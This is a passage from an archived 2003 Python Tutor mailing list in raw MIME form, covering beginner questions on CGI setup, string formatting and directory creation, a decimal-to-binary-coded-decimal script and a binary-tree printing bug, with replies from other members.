I think I know sticks with me :-).<BR><BR>I know there is more to web=20
programming other than CGI, I just don't know what (I have heard of SQL=20
(databases?), XML (The future of the web, maybe? (XHTML)), but I'm not =
sure that=20
this has anything directly to do with Python. So what I'm hoping you can =
help me=20
with; is what I need to make CGI scripts. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I guess it's possible to create and =
test CGI=20
locally (i.e. without uploading it to the net). Then again does it =
require some=20
server software to run cgi scripts (or rather test them). I assume (from =
reading=20
this <A=20
href=3D"http://mail.python.org/pipermail/tutor/2003-June/022841.html) =
">tutor=20
mail</A>)that the necesary software is included in the Python=20
download.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Anyway if not,&nbsp;I'm using Win XP =
and hoping you=20
can recommend some server software to use to test my =
CGI-scripts.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Also, my current homepage server =
(through my ISP)=20
does not support CGI, so if you now of any free (as in no-cost) web =
hosters that=20
support Python I'ld be happy to know. I've been looking at <A=20
href=3D"http://www.freezope.org">www.freezope.org</A> but they don't =
support cgi=20
so I'm not really sure if thats what would suit my needs, BTW what can =
you use=20
their service to create?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>My appologies if this is trivial but to =
me there=20
seems to be some missing link between the python newbie section to the =
basic CGI=20
programming section (under tutorials)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Well I seemed to have gone on long =
enough for now.=20
So thanks to anyone reading this far=20
;-)</FONT></DIV></FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_005E_01C32B8C.7BE1D780--



From rob@jam.rr.com  Thu Jun  5 13:38:01 2003
From: rob@jam.rr.com (Rob Andrews)
Date: Thu Jun  5 12:38:01 2003
Subject: [Tutor] Creating your first CGI-script
In-Reply-To: <006101c32b7b$b87011f0$a44c73d5@sigrunnk2wh18t>
References: <006101c32b7b$b87011f0$a44c73d5@sigrunnk2wh18t>
Message-ID: <3EDF7252.40505@jam.rr.com>

CGI are a certain type of program that run on the server.

XHTML is essentially the same thing as HTML. It's used to describe the 
markup of web pages.

XML is a descriptive way of handling data. It will look familiar in some 
ways if you learn XHTML (and you find out that there's a reason for this 
as soon as you start learning XHTML).

SQL is a language used to query databases. It's very handy to know. 
Check out mySQL or a similar Open Source database, and you'll be off to 
a good start.

In order to run CGI (or to do almost any kind of "real" web 
programming), you'll need web server software. Apache is common, and the 
price is right.

There are also Servlets, Server Pages, and other web programming 
approaches. Python generally plays well with all of them, especially 
with Jython creating a solid relationship with Java.

Search google.com for "python CGI tutorial", "python web programming", 
etc. in addition to asking here. We're happy to help when we can.

-Rob Andrews
uselesspython.com

Ole Jensen wrote:
> First of all, I have no experince in web programming, but my plans are 
> to get into that sooner rather than later. So if my assumptions below 
> are hillariously wrong feel free to correct me before what I think I 
> know sticks with me :-).


-- 
Find out about dharma in Jackson!
http://groups.yahoo.com/group/UUCJsangha/



From Tony@pc-tony.com  Thu Jun  5 14:16:01 2003
From: Tony@pc-tony.com (Tony Stevenson)
Date: Thu Jun  5 13:16:01 2003
Subject: [Tutor] Noob to Python - Need help with Variables
Message-ID: <BDE280F8610F8C45B8FF908BA0A85C434166@web-server.int-pctony.com>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C32B85.5FC13C50
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Thanks guys,=20
=20
Figured it now. =20
Using this expression instead: -
=20
=20
os.mkdir("D:\\tempint\\" + user)
=20
This seems to work very well.  Of course this could be a very bad way =
of
doing things.
=20
Hmmm, comments please.  :-)
=20
=20
Cheers,
Tony
=20
-----Original Message-----
From: Ole Jensen [mailto:learning.python@dbmail.dk]=20
Sent: 05 June 2003 16:32
To: tutor@python.org
Subject: Re: [Tutor] Noob to Python - Need help with Variables
=20
-----[snip]--------

=20
> ...and don't worry, you can always ask questions here if you get =
stuck at=20
> someplace ...but you really should get the basic stuff under your =
belt
before=20
> you move on.
>=20
> (*) Introductory docs can be found at:
> http://www.python.org/doc/Intros.html
<http://www.python.org/doc/Intros.html>=20
>     Look under "Introductions to Python programming for =
non-programmers"
>From one nooB to the other I agree totally with Steve that you should =
go
through some of the tutorials.
=20
Now the reason I am replying before you barely pressed the link is =
mostly
because that I had a really difficult time finding this answer, as I =
have
only seen this in one tutorial.
for now:
what you need to do is use the percent sign. Which as far as I now is =
called
the mudulo operator, and in all but one of the tutorials I've been =
through
this is only descriped as a way to calculate the remainder of a =
division.
E.g.  7 / 4 =3D 1 with a remainder of 3, so in python 7 % 4 =3D 3
But thats far from what the persent sign can do...
if you want to include a varible in a string e.g.:
=20
>>> name =3D "Tony"
>>> str =3D "Hello, %s" % name
>>> print str
Hello, Tony
=20
There's annother way to do it as well, but i'm not to sure about that:
keeping the varibles as is
=20
>>> str =3D "Hello, =B4name=B4"
should print: Hello, Tony
=20
however I get a unicode error so I'm obvously doing something wrong, if
anybody else know about this method I would really like what im doing =
wrong!
=20
Finally again as steve said you really need to go through some =
tutorials,
these two I found extremly useful:
=20
Alan Guald's http://www.freenetpages.co.uk/hp/alan.gauld/
<http://www.freenetpages.co.uk/hp/alan.gauld/>=20
and
Michael Williams' http://users.ox.ac.uk/~sann1276/python/handbook/
<http://users.ox.ac.uk/~sann1276/python/handbook/>=20
=20
ohh and forgot about this one http://www.ibiblio.org/obp/thinkCSpy/
<http://www.ibiblio.org/obp/thinkCSpy/>  , "How to Think Like a =
Computer
Scientist"
=20
Now I might be a slow learner but I have never even heard of this
'shutil.rmtree("d:\\tempint\"user"' (by the way I think need an end =
brace on
that), but depending on how brave you are I would recommend getting =
down
with the basics before you play around with something you could =
accidentally
mess up.
=20
=20
Ole

------_=_NextPart_001_01C32B85.5FC13C50
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C32B8D.C31E93D0">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;
	mso-font-charset:2;
	mso-generic-font-family:auto;
	mso-font-pitch:variable;
	mso-font-signature:0 268435456 0 0 -2147483648 0;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:553679495 -2147483648 8 0 66047 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-reply;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]--><!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1" />
 </o:shapelayout></xml><![endif]-->
</head>

<body bgcolor=3Dwhite lang=3DEN-GB link=3Dblue vlink=3Dblue =
style=3D'tab-interval:36.0pt'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Thanks guys, =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><span class=3DGramE><font size=3D2 color=3Dnavy =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Figured it =
now.</span></font></span><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'><span style=3D'mso-spacerun:yes'>=A0 =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Using this expression instead: =
-<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><span class=3DSpellE><span class=3DGramE><font =
size=3D2
color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'>os.mkdir</span></font></span></span><span =
class=3DGramE><font size=3D2
color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'>(</span></font></span><font size=3D2 color=3Dnavy =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>"D:\\tempint\\"
+ user)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>This seems to work very well. =
<span
style=3D'mso-spacerun:yes'>=A0</span>Of course this could be a very bad =
way of
doing things.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Hmmm, comments please.<span
style=3D'mso-spacerun:yes'>=A0 </span></span></font><font size=3D2 =
color=3Dnavy
face=3DWingdings><span =
style=3D'font-size:10.0pt;font-family:Wingdings;mso-ascii-font-family:
Arial;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;color:navy;=

mso-char-type:symbol;mso-symbol-font-family:Wingdings'><span =
style=3D'mso-char-type:
symbol;mso-symbol-font-family:Wingdings'>J</span></span></font><font =
size=3D2
color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Cheers,<o:p></o:p></span></font></p=
>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Tony<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DTahoma><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Tahoma;mso-ansi-language:EN-US'>--=
---Original
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Ole Jensen
[mailto:learning.python@dbmail.dk] <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> 05 June 2003 =
16:32<br>
<b><span style=3D'font-weight:bold'>To:</span></b> tutor@python.org<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Re: [Tutor] =
Noob to
Python - Need help with Variables</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>-----[snip]--------<o:p></o=
:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'><br>
&nbsp;<br>
&gt; ...and don't worry, you can always ask questions here if you get =
stuck at <br>
&gt; someplace ...but you really should get the basic stuff under your =
belt
before <br>
&gt; you move on.<br>
&gt; <br>
&gt; (*) Introductory docs can be found at:<br>
&gt; <a =
href=3D"http://www.python.org/doc/Intros.html">http://www.python.org/doc=
/Intros.html</a><br>
&gt; &nbsp;&nbsp;&nbsp; Look under &quot;Introductions to Python =
programming
for non-programmers&quot;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>From one nooB to the other =
I agree
totally with Steve that you should go through some of the =
tutorials.<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Now the reason I am =
replying before
you barely pressed the link is mostly because that I had a really =
difficult
time finding this answer, as I have only seen this in one =
tutorial.<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>for =
now:<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>what you need to do is use =
the percent
sign. Which as far as I now is called the mudulo operator, and in all =
but one
of the tutorials I've been through this is only descriped as&nbsp;a way =
to
calculate the remainder of a division. E.g. &nbsp;7 / 4 =3D 1&nbsp;with =
a
remainder of 3, so&nbsp;in python&nbsp;7 % 4 =3D =
3<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>But thats far from what =
the persent
sign can do...<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>if you want to include a =
varible in
a string e.g.:<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&gt;&gt;&gt; name =3D =
&quot;Tony&quot;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&gt;&gt;&gt; str =3D =
&quot;Hello,
%s&quot; % name<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&gt;&gt;&gt; print =
str<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Hello, =
Tony<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>There's annother way to do =
it as
well, but i'm not to sure about that:<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>keeping the varibles as =
is<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&gt;&gt;&gt; str =3D =
&quot;Hello,
=B4name=B4&quot;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>should print: Hello, =
Tony<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>however I get a unicode =
error so I'm
obvously doing something wrong, if anybody else know about this method =
I would
really like what im doing wrong!<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Finally again as steve =
said you
really need to go through some tutorials, these two I found extremly =
useful:<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Alan Guald's <a
href=3D"http://www.freenetpages.co.uk/hp/alan.gauld/">http://www.freenet=
pages.co.uk/hp/alan.gauld/</a><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>and<o:p></o:p></span></font=
></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Michael Williams' <a
href=3D"http://users.ox.ac.uk/~sann1276/python/handbook/">http://users.o=
x.ac.uk/~sann1276/python/handbook/</a><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>ohh and forgot about this =
one <a
href=3D"http://www.ibiblio.org/obp/thinkCSpy/">http://www.ibiblio.org/ob=
p/thinkCSpy/</a>&nbsp;,
&quot;How to Think Like a Computer =
Scientist&quot;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Now I might be a slow =
learner but I
have never even heard of this
'shutil.rmtree(&quot;d:\\tempint\&quot;user&quot;' (by the way I think =
need an
end brace on that), but depending on how brave you are I would =
recommend
getting down with the basics before you play around with something you =
could
accidentally mess up.<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&nbsp;<o:p></o:p></span></f=
ont></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Ole<o:p></o:p></span></font=
></p>

</div>

</div>

</div>

</body>

</html>

------_=_NextPart_001_01C32B85.5FC13C50--


From tpc@csua.berkeley.edu  Thu Jun  5 15:02:02 2003
From: tpc@csua.berkeley.edu (tpc@csua.berkeley.edu)
Date: Thu Jun  5 14:02:02 2003
Subject: [Tutor] python string __add__
Message-ID: <20030605105701.E76787-100000@localhost.name>

I have a script that will take decimal numbers of any length as command
line arguments and output the binary equivalent.  However, I am trying to
output one long string with no spaces.  I attempted __add__ but got empty
spaces.  Is there a way for python string __add__ to output binary digits
with no spaces ?

<code>
#!/usr/bin/env python
""" a program that takes decimal numbers of any length as space-delimited
command line arguments and outputs binary numbers separated by newline"""

import sys

dict = {
           '0' : '0000',
           '1' : '0001',
           '2' : '0010',
           '3' : '0011',
           '4' : '0100',
           '5' : '0101',
           '6' : '0110',
           '7' : '0111',
           '8' : '1000',
           '9' : '1001'
       }
#x = ''
length = len(sys.argv[1:])
while length > 0:
    for i in range(length):
        w = sys.argv[-length]
        length = length - 1
        list1 = list(w)
        list1.reverse()
        length2 = len(list1)
        while length2 > 0:
            for i in range(length2):
                w = list1[length2 - 1]
                length2 = length2 - 1
#                x.__add__(dict[w])
                x = dict[w]
                print x,
            print '\n'

</code>



From tuskerduster@yahoo.com  Thu Jun  5 15:13:02 2003
From: tuskerduster@yahoo.com (Chimp)
Date: Thu Jun  5 14:13:02 2003
Subject: [Tutor] Binary Tree Printing Woes
Message-ID: <20030605201537.GA10180@yahoo.com>

Avast there, Pyrates!

I'm tinkering with Tree structures by following the salient advice from
"How To Think Like A Nerd, eh, Computer Scientist" 
(http://www.ibiblio.org/obp/thinkCSpy/chap20.htm), but printing the tree
in post- and preorder gives me some trouble by slapping a "None" to the
end. It works beautifully in the python shell, just not when I run the
app in my term. 

Could anyone give me a hand?

Anyway, here's the result of running my code, and the scribble below that holds
the key to unleash the horrors:

$ python tree-app.py

Printing  A: 1 2 3			# <--- Tadaaa!  
PreOrder  A: 2 1 3 None     # <--- Arrgh!
PostOrder A: 1 3 2 None	    # <--- Noooo!

---------------------
#! /usr/bin/env python
class Tree:
    def __init__(self, data=None, left=None, right=None):
        self.data = data
        self.left  = left
        self.right = right

    def __str__(self):
        return str(self.data)

    def print_tree(self, tree):
        if tree is None: return 0
        self.print_tree(tree.left)
        print tree.data,
        self.print_tree(tree.right)

    def print_postorder(self, tree):
        if tree is None: return 0
        self.print_postorder(tree.left)
        self.print_postorder(tree.right)
        print tree.data,

    def print_preorder(self, tree):
        if tree is None: return 0
        print tree.data,
        self.print_preorder(tree.left)
        self.print_preorder(tree.right)

    def build123(self):
        root  = Tree(2)
        left   = Tree(1)
        right  = Tree(3)
        root.left = left
        root.right = right
        return root

if __name__ == '__main__':

    t = Tree()
    a = t.build123()

	print
    print "Printing  A:", t.print_tree(a)
    print "PreOrder  A:", t.print_preorder(a)
    print "PostOrder A:", t.print_postorder(a)

Bizarre, innit?

Oh, and while we're at it: how do you find the parent of a given node? I
need that to find siblings and delete and mess around with the tree in
general. Any hint would be much appreciated and would really help me to
wrap my head around recursion to boot!


-- Chimp
-- 
                            o      _     _         _
------- __o       __o      /\_   _ \\o  (_)\__/o  (_)        -o)
----- _`\<,_    _`\<,_    _>(_) (_)/<_    \_| \   _|/' \/     /\\
---- (_)/ (_)  (_)/ (_)  (_)        (_)   (_)    (_)'  _\o_  _\_v
Don't Drive And Pray - Listen To InfidelGuy.com And Rock Your Mind


From jyllyj@gcom-cn.com  Thu Jun  5 15:25:04 2003
From: jyllyj@gcom-cn.com (jyllyj)
Date: Thu Jun  5 14:25:04 2003
Subject: [Tutor] chinese in python2.2.3
Message-ID: <002501c32b75$13bb35f0$334c70dc@homeu0a59ztmqs>

aSdkIHBvc3QgY2hpbmVzZSB0byBweXRob24gdGtpbnRlcidzIHdpZGdldCB3aGljaCBlZGl0IHNp
dGUucHkgLnJlcGxhY2UgZGVmYXVsdCBlbmNvZGluZyAiYXNjaWkiIHRvICJ1dGYtOCINCm1heWJl
IHRoYXQgaXMgbm90IGdvb2QgaWRlYSBpIHRoaW5rLiBoYXMgYW5vdGhlciBnZW5lcmFsIHdheSB0
byBkZWFsIHdpdGggY2hpbmVzZSBhdCBub3cgKHB5dGhvbjIuMi4zKT8=





From bgailer@alum.rpi.edu  Thu Jun  5 15:42:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Thu Jun  5 14:42:01 2003
Subject: [Tutor] python string __add__
In-Reply-To: <20030605105701.E76787-100000@localhost.name>
Message-ID: <5.2.0.9.0.20030605122550.02f53128@66.28.54.253>

At 11:00 AM 6/5/2003 -0700, tpc@csua.berkeley.edu wrote:


>I have a script that will take decimal numbers of any length as command
>line arguments and output the binary equivalent.  However, I am trying to
>output one long string with no spaces.  I attempted __add__ but got empty
>spaces.  Is there a way for python string __add__ to output binary digits
>with no spaces ?
>
><code>
>#!/usr/bin/env python
>""" a program that takes decimal numbers of any length as space-delimited
>command line arguments and outputs binary numbers separated by newline"""
>
>import sys
>
>dict = {
>            '0' : '0000',
>            '1' : '0001',
>            '2' : '0010',
>            '3' : '0011',
>            '4' : '0100',
>            '5' : '0101',
>            '6' : '0110',
>            '7' : '0111',
>            '8' : '1000',
>            '9' : '1001'
>        }
>#x = ''
>length = len(sys.argv[1:])
>while length > 0:
>     for i in range(length):
>         w = sys.argv[-length]
>         length = length - 1
>         list1 = list(w)
>         list1.reverse()
>         length2 = len(list1)
>         while length2 > 0:
>             for i in range(length2):
>                 w = list1[length2 - 1]
>                 length2 = length2 - 1
>#                x.__add__(dict[w])
>                 x = dict[w]
>                 print x,
>             print '\n'
>
></code>

This program generates Binary Coded Decimal, not Binary. Getting spaces is 
an effect of the print statement.

following
                 length2 = length2 - 1:
try this:
                 x += dict[w]
             print x

FWIW this program is much more complex than needed. You can reduce it to:

dict = {
...
}
for number in sys.argv[1:]: print ''.join([dict[digit] for digit in number])

Bob Gailer
Specialist in evaluating training outcomes.
bgailer@alum.rpi.edu
303 442 2625



From jeff@ccvcorp.com  Thu Jun  5 17:43:01 2003
